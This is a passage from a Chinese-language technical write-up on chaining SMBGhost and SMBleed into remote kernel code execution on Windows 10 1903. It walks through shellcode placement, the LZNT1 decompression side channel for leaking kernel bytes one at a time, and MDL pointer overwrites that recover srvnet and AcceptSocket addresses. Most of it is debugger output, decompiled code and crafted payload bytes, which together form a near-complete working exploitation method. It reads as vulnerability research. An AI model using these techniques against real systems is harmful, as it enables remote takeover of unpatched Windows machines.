# 1900 fffff7e6`80000a48 00000000`00000004
**Shellcode复制 &&执行：**
通过任意地址写将Shellcode复制到0xfffff78000000800，等待“alpApicRequestInterrupt函数”被调用。
0: kd> g
Breakpoint 0 hit
fffff780`00000800 55 push rbp
0: kd> k
# Child-SP RetAddr Call Site
00 fffff800`482b24c8 fffff800`450273a0 0xfffff780`00000800
01 fffff800`482b24d0 fffff800`4536c4b8 hal!HalSendNMI+0x330
02 fffff800`482b2670 fffff800`4536bbee nt!KiSendFreeze+0xb0
03 fffff800`482b26d0 fffff800`45a136ac nt!KeFreezeExecution+0x20e
04 fffff800`482b2800 fffff800`45360811 nt!KdEnterDebugger+0x64
05 fffff800`482b2830 fffff800`45a17105 nt!KdpReport+0x71
06 fffff800`482b2870 fffff800`451bbbf0 nt!KdpTrap+0x14d
07 fffff800`482b28c0 fffff800`451bb85f nt!KdTrap+0x2c
08 fffff800`482b2900 fffff800`45280202 nt!KiDispatchException+0x15f
* * *
# SMBGhost&&SMBleed远程代码执行
Zecops利用思路的灵魂是通过判断LZNT1解压是否成功来泄露单个字节，有点爆破的意思在里面。
### LZNT1解压特性
通过逆向可以发现LZNT1压缩数据由压缩块组成，每个压缩块有两个字节的块头部，通过最高位是否设置可判断该块是否被压缩，其与0xFFF相与再加3（2字节的chunk
header+1字节的flag）为这个压缩块的长度。每个压缩块中有若干个小块，每个小块开头都有存放标志的1字节数据。该字节中的每个比特控制后面的相应区域，是直接复制(0)还是重复复制(1)。
这里先举个后面会用到的例子，如下所示。解压时首先取出2个字节的块头部0xB007，0xB007&0xFFF+3=0xa，所以这个块的大小为10，就是以下这10个字节。然后取出标志字节0x14，其二进制为00010100，对应了后面的8项数据，如果相应的比特位为0，就直接将该字节项复制到待解压缓冲区，如果相应比特位为1，表示数据有重复，从相应的偏移取出两个字节数据，根据环境计算出复制的源地址和复制的长度。
由于0x14的前两个比特为0，b0 00 直接复制到目标缓冲区，下一个比特位为1，则取出0x007e，复制0x7e+3（0x81）个 00
到目标缓冲区，然后下一个比特位是0，复制ff到目标缓冲区，下个比特位为1，所以又取出0x007c，复制0x7c+3（0x7f）个 FF
到目标缓冲区，由于此时已走到边界点，对该压缩块的解压结束。以下为解压结果：
kd> db ffffa508`31ac115e lff+3+1
ffffa508`31ac115e b0 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac116e 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac117e 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac118e 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac119e 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac11ae 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac11be 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac11ce 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac11de 00 00 00 ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac11ee ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac11fe ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac120e ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac121e ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac122e ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac123e ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac124e ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac125e ff ff ff ...
Zecops在文章中提出可通过向目标发送压缩测试数据并检测该连接是否断开来判断是否解压失败，如果解压失败，则连接断开，而利用LZNT1解压的特性可通过判断解压成功与否来泄露1字节数据。下面来总结解压成功和解压失败的模式。
**00 00 模式：** 文中提示LZNT1压缩数据可以 00 00
结尾（类似于以NULL终止的字符串，可选的）。如下所示，当读取到的长度为0时跳出循环，在比较了指针没有超出边界之后，正常退出函数。
// RtlDecompressBufferLZNT1
v11 = *(_WORD *)compressed_data_point;
if ( !*(_WORD *)compressed_data_point )
break;
......
}
v17 = *(_DWORD **)&a6;
if ( compressed_data_point <= compressed_data_boundary )
{
**(_DWORD **)&a6 = (_DWORD)decompress_data_p2 - decompress_data_p1;
goto LABEL_15;
}
LABEL_32:
v10 = 0xC0000242; // 错误流程
*v17 = (_DWORD)compressed_data_point;
LABEL_15:
if ( _InterlockedExchangeAdd((volatile signed __int32 *)&v23, 0xFFFFFFFF) == 1 )
KeSetEvent(&Event, 0, 0);
KeWaitForSingleObject(&Event, Executive, 0, 0, 0i64);
if ( v10 >= 0 && v23 < 0 )
v10 = HIDWORD(v23);
return (unsigned int)v10;
}
**XX XX FF FF FF模式：** 满足XX XX FF FF
FF模式的压缩块会在解压时产生错误，其中，XXXX&FFF>0且第二个XX的最高位为1。作者在进行数据泄露的时候使用的FF
FF满足此条件，关键代码如下，当标志字节为FF时，由于第一个标志位被设置，会跳出上面的循环，然后取出两个字节的0xFFFF。由于比较第一个比特位的时候就跳出循环，decompress_data_p1、decompress_data_p2
和 decompress_data_p3 都指向原始的目标缓冲区（本来也就是起点）。所以 v11 也是初始值
0xD，v14（v15）为标志位1相应的双字0xFFFF。由于decompress_data_p1 - 0xFFFF >> 0xD -1
肯定小于decompress_data_p2，会返回错误码 0xC0000242。
if ( *compressed_data_p1 & 1 )
break;
*decompress_data_p1 = compressed_data_p1[1];
......
}
while ( decompress_data_p1 > decompress_data_p3 )
{
v11 = (unsigned int)(v11 - 1);
decompress_data_p3 = (_BYTE *)(dword_14037B700[v11] + decompress_data_p2);
}
v13 = compressed_data_p1 + 1;
v14 = *(_WORD *)(compressed_data_p1 + 1);
v15 = v14;
v17 = dword_14037B744[v11] & v14;
v11 = (unsigned int)v11;
v16 = v17;
v18 = &decompress_data_p1[-(v15 >> v11) - 1];
if ( (unsigned __int64)v18 < decompress_data_p2 )
return 0xC0000242i64;
//调试数据
kd>
nt!LZNT1DecompressChunk+0x66e:
fffff802`52ddd93e 488d743eff lea rsi,[rsi+rdi-1]
kd> p
nt!LZNT1DecompressChunk+0x673:
fffff802`52ddd943 493bf2 cmp rsi,r10
kd>
nt!LZNT1DecompressChunk+0x676:
fffff802`52ddd946 0f82cd040000 jb nt!LZNT1DecompressChunk+0xb49 (fffff802`52ddde19)
kd>
nt!LZNT1DecompressChunk+0xb49:
fffff802`52ddde19 b8420200c0 mov eax,0C0000242h
**单字节泄露思路**
泄露的思路就是利用解压算法的上述特性，在想要泄露的字节后面加上b0（满足压缩标志）以及一定数量的 00 和
FF，00表示的数据为绝对有效数据。当处理完一个压缩块之后，会继续向后取两个字节，如果取到的是00 00，解压就会正常完成，如果是 00 FF 或者 FF
FF，解压就会失败。
kd> db ffffa508`31ac1158
ffffa508`31ac1158 18 3a 80 34 08 a5 b0 00-00 00 00 00 00 00 00 00 .:.4............
ffffa508`31ac1168 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac1178 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
如下所示，a5是想要泄露的字节，先假设可以将测试数据放在后面。根据解压算法可知，首先会取出b0a5，然后和0xfff相与后加3，得到a8，从a5开始数a8个字节，这些数据都属于第一个压缩块。如果要求第二次取出来的双字还是00
00，就需要a8-2+2个字节的00，也就是a5+3。如果00的个数小于x+3，第二次取双字的时候就一定会命中后面的FF，触发错误。采用二分法找到满足条件的x，使得当00的数量为x+3时解压缩正常完成，并且当00的数量为x+2时解压失败，此时得到要泄露的那个字节数据x。
下面开始步入正题，一步一步获取关键模块基址，劫持系统执行流程。为了方便描述利用思路，在 Windows 1903
单核系统上进行调试，利用前还需要收集各漏洞版本以下函数在模块中的偏移，以便后续进行匹配，计算相应模块基址及函数地址：
**srvnet.sys** | **ntoskrnl.exe**
---|---
srvnet!SrvNetWskConnDispatch | nt!IoSizeofWorkItem
srvnet!imp_IoSizeofWorkItem | nt!MiGetPteAddress
srvnet!imp_RtlCopyUnicodeString |
### 泄露 User Buffer 指针
这一步要泄露的数据是已知大小缓冲区的User
Buffer指针（POC中是0x2100）。请求包结构如下，Offset为0x2116，Originalsize为0，由于Offset+Originalsize=0x2116，所以会分配大小为0x4100的User
Buffer来存放还原的数据。然而，原始请求包的User Buffer大小为0x2100（可容纳0x10大小的头和0x1101大小的Data），Offset
0x2116明显超出了该缓冲区的长度，在后续的memcpy操作中会存在越界读取。Offset欺骗也是1206的一部分，在取得Offset的值之后没有判断其大小是否超出的User
Buffer的界限，从而在解压成功后将这部分数据复制到一个可控的区域。又由于数据未初始化，可利用LZNT1解压将目标指针泄露出来。
以下为请求包的Srvnet Buffer Header信息，由于复制操作是从Raw
Data区域开始（跳过0x10头部），因而越界读取并复制的数据长度为0x2116+0x10-0x2100 = 0x26，这包括存放在Srvnet
Buffer Header偏移0x18处的User Buffer指针 0xffffa50836240050。
kd> g
request: ffffa508`36240050 424d53fc 00000000 00000001 00002116
srv2!Srv2DecompressData+0x26:
fffff802`51ce7e86 83782410 cmp dword ptr [rax+24h],10h
kd> dd rax
ffffa508`36242150 2f566798 ffffa508 2f566798 ffffa508
ffffa508`36242160 00010002 00000000 36240050 ffffa508
ffffa508`36242170 00002100 00001111 00002288 c0851000
kd> dd ffffa508`36240050+10+2116-6-10 l8
ffffa508`36242160 00010002 00000000 36240050 ffffa508
ffffa508`36242170 00002100 00001111 00002288 c0851000
以下为分配的0x4100的缓冲区，其User Buffer首地址为0xffffa50835a92050：
kd> g
alloc: ffffa508`35a92050 cf8b48d6 006207e8 ae394c00 00000288
srv2!Srv2DecompressData+0x85:
fffff802`51ce7ee5 488bd8 mov rbx,rax
kd> dd rax
ffffa508`35a96150 a1e83024 48fffaef 4810478b 30244c8d
ffffa508`35a96160 00020002 00000000 35a92050 ffffa508
ffffa508`35a96170 00004100 00000000 000042a8 245c8b48
由于解压成功，所以进入memcpy流程，0x2100缓冲区的User
Buffer指针0xffffa50836240050被复制到0x4100缓冲区偏移0x2108处:
kd> dd ffffa508`35a92050 + 2100
ffffa508`35a94150 840fc085 000000af 24848d48 000000a8
ffffa508`35a94160 24448948 548d4120 b9410924 00000eda
kd> p
srv2!Srv2DecompressData+0x10d:
fffff802`51ce7f6d 8b442460 mov eax,dword ptr [rsp+60h]
kd> dd ffffa508`35a92050 + 2100
ffffa508`35a94150 00010002 00000000 36240050 ffffa508
ffffa508`35a94160 00002100 548d1111 b9410924 00000eda
然后下一步是覆盖 0x4100缓冲区中存放的0x2100缓冲区User Buffer Ptr 中 08 a5
后面的ffff等数据（由于地址都是以0xffff开头，所以这两个字节可以不用测）。为了不破坏前面的数据（不执行memcpy），要使得解压失败（在压缩的测试数据后面填充\xFF），但成功解压出测试数据。
以下为解压前后保存的User Buffer Ptr
的状态，可以发现解压后的数据正好满足之前所讲的单字节泄露模式，如果可欺骗程序使其解压0xffffa50835a9415d处的数据，就可以通过多次测试泄露出最高位0xa5：
//待解压数据
kd> dd ffffa508`31edb050+10+210e
ffffa508`31edd16e b014b007 ff007e00 ffff007c ffffffff
ffffa508`31edd17e ffffffff ffffffff ffffffff ffffffff
ffffa508`31edd18e ffffffff ffffffff ffffffff ffffffff
ffffa508`31edd19e ffffffff ffffffff ffffffff ffffffff
ffffa508`31edd1ae ffffffff ffffffff ffffffff ffffffff
ffffa508`31edd1be ffffffff ffffffff ffffffff ffffffff
ffffa508`31edd1ce ffffffff ffffffff ffffffff ffffffff
ffffa508`31edd1de ffffffff ffffffff ffffffff ffffffff
//解压前数据
kd> db r9 - 6
ffffa508`35a94158 50 00 24 36 08 a5 ff ff-00 21 00 00 11 11 8d 54 P.$6.....!.....T
ffffa508`35a94168 24 09 41 b9 da 0e 00 00-45 8d 44 24 01 48 8b ce $.A.....E.D$.H..
ffffa508`35a94178 ff 15 c2 68 01 00 85 c0-78 27 8b 94 24 a8 00 00 ...h....x'..$...
ffffa508`35a94188 00 0f b7 c2 c1 e8 08 8d-0c 80 8b c2 c1 e8 10 0f ................
ffffa508`35a94198 b6 c0 03 c8 0f b6 c2 8d-0c 41 41 3b cf 41 0f 96 .........AA;.A..
ffffa508`35a941a8 c4 48 8d 44 24 30 48 89-44 24 20 ba 0e 00 00 00 .H.D$0H.D$ .....
ffffa508`35a941b8 41 b9 db 0e 00 00 44 8d-42 f4 48 8b ce ff 15 75 A.....D.B.H....u
ffffa508`35a941c8 68 01 00 85 c0 78 2f 8b-54 24 30 0f b7 c2 c1 e8 h....x/.T$0.....
kd> p
srv2!Srv2DecompressData+0xe1:
fffff802`51ce7f41 85c0 test eax,eax
//解压后数据
kd> db ffffa508`35a9415d lff
ffffa508`35a9415d a5 b0 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`35a9416d 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`35a9417d 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`35a9418d 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`35a9419d 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`35a941ad 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`35a941bd 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`35a941cd 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`35a941dd 00 00 00 00 ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`35a941ed ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`35a941fd ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`35a9420d ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`35a9421d ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`35a9422d ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`35a9423d ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`35a9424d ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ...............
控制后续的请求包占用之前布置好的0x4100缓冲区，设置Offset使其指向待泄露的那个字节，利用LZTN1解压算法从高位到低位逐个泄露字节。主要是利用LZTN1解压算法特性以及SMB2协商，在SMB2协商过程中使用LZTN1压缩，对SMB2
SESSION SETUP请求数据进行压缩。构造如下请求，如果LZNT1测试数据解压成功，就代表要泄露的数据不小于0的个数减3，并且由于解压成功，SMB2
SESSION SETUP数据成功被复制。如果解压失败，SMB2 SESSION
SETUP数据不会被复制，连接断开。根据连接是否还在调整0的个数，如果连接断开，就增大0的个数，否则减小0的个数，直到找到临界值，泄露出那个字节。
### 泄露srvnet基址
SRVNET_BUFFER_HDR第一项为ConnectionBufferList.Flink指针（其指向SRVNET_RECV偏移0x58处的ConnectionBufferList.Flink），SRVNET_RECV偏移0x100处存放了AcceptSocket指针。AcceptSocket偏移0x30处为srvnet!SrvNetWskConnDispatch函数指针。可通过泄露这个指针，然后减去已有偏移得到srvnet模块的基址。
//SRVNET_BUFFER_HDR
kd> dd rax
ffffa508`31221150 2f566798 ffffa508 2f566798 ffffa508
ffffa508`31221160 00030002 00000000 31219050 ffffa508
ffffa508`31221170 00008100 00008100 000082e8 ffffffff
ffffa508`31221180 31219000 ffffa508 312211e0 ffffa508
ffffa508`31221190 00000000 ffffffff 00008100 00000000
ffffa508`312211a0 31221260 ffffa508 31221150 ffffa508
//SRVNET_RECV->AcceptSocket
kd> dq ffffa5082f566798 - 58 + 100
ffffa508`2f566840 ffffa508`36143c28 00000000`00000000
ffffa508`2f566850 00000000`00000000 ffffa508`3479cd18
ffffa508`2f566860 ffffa508`2f4a6dc0 ffffa508`34ae4170
ffffa508`2f566870 ffffa508`35f56040 ffffa508`34f19520
//srvnet!SrvNetWskConnDispatch
kd> u poi(ffffa508`36143c28+30)
srvnet!SrvNetWskConnDispatch:
fffff802`57d3d170 50 push rax
fffff802`57d3d171 5a pop rdx
fffff802`57d3d172 d15702 rcl dword ptr [rdi+2],1
fffff802`57d3d175 f8 clc
fffff802`57d3d176 ff ???
fffff802`57d3d177 ff00 inc dword ptr [rax]
fffff802`57d3d179 6e outs dx,byte ptr [rsi]
fffff802`57d3d17a d15702 rcl dword ptr [rdi+2],1
**泄露ConnectionBufferList.Flink指针**
首先要泄露ConnectionBufferList.Flink指针，以便泄露AcceptSocket指针以及srvnet!SrvNetWskConnDispatch函数指针。在这里使用了另一种思路：使用正常压缩的数据[:-6]覆盖ConnectionBufferList.Flink指针之前数据，这样在解压的时候正好可以带出这6个字节，要注意请求数据长度与Offset+0x10的差值，这个差值应该大于压缩数据+6的长度。在这个过程中需要保持一个正常连接，使得泄露出的ConnectionBufferList所在的SRVNET_RECV结构是有效的。如下所示，解压后的数据长度正好为0x2b，其中，后6位为ConnectionBufferList的低6个字节。
kd> g
request: ffffa508`31219050 424d53fc 0000002b 00000001 000080e3
srv2!Srv2DecompressData+0x26:
fffff802`51ce7e86 83782410 cmp dword ptr [rax+24h],10h
kd> db ffffa508`31219050+80e3+10 l20 //待解压数据
ffffa508`31221143 10 b0 40 41 42 43 44 45-46 1b 50 58 00 18 3a 80 [email protected]..:.
ffffa508`31221153 34 08 a5 ff ff 18 3a 80-34 08 a5 ff ff 02 00 03 4.....:.4.......
kd> g
srv2!Srv2DecompressData+0xdc:
fffff802`51ce7f3c e86f650406 call srvnet!SmbCompressionDecompress (fffff802`57d2e4b0)
kd> db r9 l30 //解压前缓冲区
ffffa508`31ac1133 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac1143 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac1153 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
kd> p
srv2!Srv2DecompressData+0xe1:
fffff802`51ce7f41 85c0 test eax,eax
kd> db ffffa508`31ac1133 l30 //解压后缓冲区
ffffa508`31ac1133 41 42 43 44 45 46 41 42-43 44 45 46 41 42 43 44 ABCDEFABCDEFABCD
ffffa508`31ac1143 45 46 41 42 43 44 45 46-41 42 43 44 45 46 41 42 EFABCDEFABCDEFAB
ffffa508`31ac1153 43 44 45 46 58 18 3a 80-34 08 a5 ff ff ff ff ff CDEFX.:.4.......
然后向目标缓冲区偏移0x810e处解压覆盖测试数据 b0 00 00 ...
，之前解压出的0x2b大小的数据放在了偏移0x80e3处，如果要从最后一位开始覆盖，那解压缩的偏移就是0x810e+0x2b（即0x810e）。
kd> g
request: ffffa508`31edb050 424d53fc 00007ff2 00000001 0000810e
srv2!Srv2DecompressData+0x26:
fffff802`51ce7e86 83782410 cmp dword ptr [rax+24h],10h
//解压前
kd> db rdx //rdx指向待解压数据
ffffa508`31ee316e 07 b0 14 b0 00 7e 00 ff-7c 00 ff ff ff ff ff ff .....~..|.......
ffffa508`31ee317e ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ee318e ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ee319e ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ee31ae ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ee31be ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ee31ce ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ee31de ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
kd> db r9-6 l30 //r9指向目标缓冲区
ffffa508`31ac1158 18 3a 80 34 08 a5 ff ff-ff ff ff ff ff ff ff ff .:.4............
ffffa508`31ac1168 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac1178 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
//解压后
kd> db ffffa508`31ac1158 l30
ffffa508`31ac1158 18 3a 80 34 08 a5 b0 00-00 00 00 00 00 00 00 00 .:.4............
ffffa508`31ac1168 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac1178 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
然后采用和之前一样的方式泄露该地址低6个字节。根据连接是否断开调整00的长度，直到找到满足临界点的值，从而泄露出ConnectionBufferList。
kd> g
request: ffffa508`31ab9050 424d53fc 00008004 00000001 000080fd
srv2!Srv2DecompressData+0x26:
fffff802`51ce7e86 83782410 cmp dword ptr [rax+24h],10h
kd> db rdx-6 l100
ffffa508`31ac1157 58 18 3a 80 34 08 a5 b0-00 00 00 00 00 00 00 00 X.:.4...........
ffffa508`31ac1167 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac1177 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac1187 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac1197 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac11a7 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac11b7 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac11c7 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`31ac11d7 00 00 00 00 00 00 00 00-00 00 ff ff ff ff ff ff ................
ffffa508`31ac11e7 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac11f7 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac1207 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac1217 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac1227 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac1237 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffffa508`31ac1247 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
后面就是继续获取AcceptSocket指针以及srvnet!SrvNetWskConnDispatch函数指针。SrvNetFreeBuffer函数中存在如下代码（有省略），可帮助我们将某地址处的值复制到一个可控的地址。当BufferFlags为3时，pMdl1指向MDL中的MappedSystemVa会变成之前的值加0x50，pMdl2指向的MDL中的StartVa被赋值为pMdl1->MappedSystemVa
+ 0x50的高52位，pMdl2指向的MDL中的ByteOffset被赋值为pMdl1->MappedSystemVa +
0x50的低12位。也就是说pMdl2的StartVa和ByteOffset中会分开存放原先pMdl1中的MappedSystemVa的值加0x50的数据。
void SrvNetFreeBuffer(PSRVNET_BUFFER_HDR Buffer)
{
PMDL pMdl1 = Buffer->pMdl1;
PMDL pMdl2 = Buffer->pMdl2;
if (Buffer->BufferFlags & 0x02) {
if (Buffer->BufferFlags & 0x01) {
pMdl1->MappedSystemVa = (BYTE*)pMdl1->MappedSystemVa + 0x50；
pMdl2->StartVa = (PVOID)((ULONG_PTR)pMdl1->MappedSystemVa & ~0xFFF)；
pMdl2->ByteOffset = pMdl1->MappedSystemVa & 0xFFF
}
Buffer->BufferFlags = 0;
// ...
pMdl1->Next = NULL;
pMdl2->Next = NULL;
// Return the buffer to the lookaside list.
} else {
SrvNetUpdateMemStatistics(NonPagedPoolNx, Buffer->PoolAllocationSize, FALSE);
ExFreePoolWithTag(Buffer->PoolAllocationPtr, '00SL');
}
}
可利用上述流程，将指定地址处的数据再加0x50的值复制到pMdl2指向的结构中，然后再利用之前的方法逐字节泄露。思路是通过覆盖两个pmdl指针，覆盖pmdl1指针为AcceptSocket指针减0x18，这和MDL结构相关，如下所示，其偏移0x18处为MappedSystemVa指针，这样可使得AcceptSocket地址正好存放在pMdl1->MappedSystemVa。然后覆盖pmdl2指针为一个可控的内存，POC中为之前泄露的0x2100内存的指针加0x1250偏移处。这样上述代码执行后，就会将AcceptSocket地址的信息存放在pmdl2指向的MDL结构（已知地址）中。
kd> dt _mdl
win32k!_MDL
+0x000 Next : Ptr64 _MDL
+0x008 Size : Int2B
+0x00a MdlFlags : Int2B
+0x00c AllocationProcessorNumber : Uint2B
+0x00e Reserved : Uint2B
+0x010 Process : Ptr64 _EPROCESS
+0x018 MappedSystemVa : Ptr64 Void
+0x020 StartVa : Ptr64 Void
+0x028 ByteCount : Uint4B
+0x02c ByteOffset : Uint4B
kd> ?ffffa50834803a18-58+100-18
Evaluate expression: -100020317570392 = ffffa508`34803aa8
kd> ?ffffa50836240000+1250 //这个和no transport header相关
Evaluate expression: -100020290055600 = ffffa508`36241250
//覆盖前
kd> dd ffffa508`31ab9050+10138
ffffa508`31ac9188 31ac91e0 ffffa508 00000000 00000000
ffffa508`31ac9198 00000000 00000000 31ac92a0 ffffa508
ffffa508`31ac91a8 00000000 00000000 00000000 00000000
//覆盖后
kd> dd ffffa508`31ac9188
ffffa508`31ac9188 34803aa8 ffffa508 00000000 00000000
ffffa508`31ac9198 00000000 00000000 36241250 ffffa508
ffffa508`31ac91a8 00000000 00000000 00000000 00000000
之后通过解压覆盖偏移0x10处的BufferFlags，使其由2变为3，压缩数据后面加入多个"\xFF"使得解压失败，这样在后续调用
SrvNetFreeBuffer函数时才能进入上述流程。其中：flag第一个比特位被设置代表没有Transport
Header，所以那段代码实际上是留出了传输头。
kd> dd r9-10
ffffa508`31ac9150 00000000 00000000 34ba42d8 ffffa508
ffffa508`31ac9160 00040002 00000000 31ab9050 ffffa508
ffffa508`31ac9170 00010100 00000000 00010368 ffffa508
ffffa508`31ac9180 31ab9000 ffffa508 34803aa8 ffffa508
ffffa508`31ac9190 00000000 00000000 00000000 00000000
ffffa508`31ac91a0 36241250 ffffa508 00000000 00000000
kd> dd ffffa508`31ac9150
ffffa508`31ac9150 00000000 00000000 34ba42d8 ffffa508
ffffa508`31ac9160 00040003 00000000 31ab9050 ffffa508
ffffa508`31ac9170 00010100 00000000 00010368 ffffa508
ffffa508`31ac9180 31ab9000 ffffa508 34803aa8 ffffa508
ffffa508`31ac9190 00000000 00000000 00000000 00000000
ffffa508`31ac91a0 36241250 ffffa508 00000000 00000000
当调用SrvNetFreeBuffer释放这个缓冲区时会触发那段流程，此时想泄露的数据已经放在了0xffffa50836241250处的MDL结构中。如下所示，为0xffffa5083506b848。然后再用之前的方法依次泄露0xffffa50836241250偏移0x2D、0x2C、0x25、0x24、0x23、0x22、0x21处的字节，然后组合成0xffffa5083506b848。
kd> dt _mdl ffffa50836241250
win32k!_MDL
+0x000 Next : (null)
+0x008 Size : 0n56
+0x00a MdlFlags : 0n4
+0x00c AllocationProcessorNumber : 0
+0x00e Reserved : 0
+0x010 Process : (null)
+0x018 MappedSystemVa : (null)
+0x020 StartVa : 0xffffa508`3506b000 Void
+0x028 ByteCount : 0xffffffb0
+0x02c ByteOffset : 0x848
kd> db ffffa50836241250
ffffa508`36241250 00 00 00 00 00 00 00 00-38 00 04 00 00 00 00 00 ........8.......
ffffa508`36241260 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`36241270 00 b0 06 35 08 a5 ff ff-b0 ff ff ff 48 08 00 00 ...5........H...
kd> ?poi(ffffa508`34803aa8+18) //AcceptSocket - 0x50
Evaluate expression: -100020308756408 = ffffa508`3506b848
由于之前flag加上了1，没有传输头，所以SRVNET_BUFFER_HDR偏移0x18处的user
data指针比之前多0x50（计算偏移的时候要注意）。这次将BufferFlags覆盖为0，在SrvNetFreeBuffer函数中就不会将其直接加入SrvNetBufferLookasides表，而是释放该缓冲区。
kd> dd r9-10
ffffa508`31ac9150 00000000 00000000 35caba58 ffffa508
ffffa508`31ac9160 00040002 00000000 31ab90a0 ffffa508
ffffa508`31ac9170 00010100 00000000 00010368 ffffa508
ffffa508`31ac9180 31ab9000 ffffa508 34803aa8 ffffa508
ffffa508`31ac9190 00000000 00000000 00000000 00000000
ffffa508`31ac91a0 36241250 ffffa508 00000000 00000000
kd> dd ffffa508`31ac9150
ffffa508`31ac9150 00000000 00000000 35caba58 ffffa508
ffffa508`31ac9160 00040000 00000000 31ab90a0 ffffa508
ffffa508`31ac9170 00010100 00000000 00010368 ffffa508
ffffa508`31ac9180 31ab9000 ffffa508 34803aa8 ffffa508
ffffa508`31ac9190 00000000 00000000 00000000 00000000
ffffa508`31ac91a0 36241250 ffffa508 00000000 00000000
后面还是和之前一样，依次从高地址到低地址泄露每一个字节，经过组合最终得到后面还是和之前一样，依次从高地址到低地址泄露每一个字节，经过组合最终得到AcceptSocket地址为
0xffffa5083506b848 - 0x50 = 0xffffa508`3506b7f8。
kd> db ffffa508`36241250+2d-10
ffffa508`3624126d 00 00 00 00 b0 06 35 08-a5 ff ff b0 ff ff ff 48 ......5........H
ffffa508`3624127d 08 b0 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`3624128d 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`3624129d 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`362412ad 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`362412bd 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`362412cd 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa508`362412dd 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................................
kd> u poi(ffffa508`3506b7f8+30)
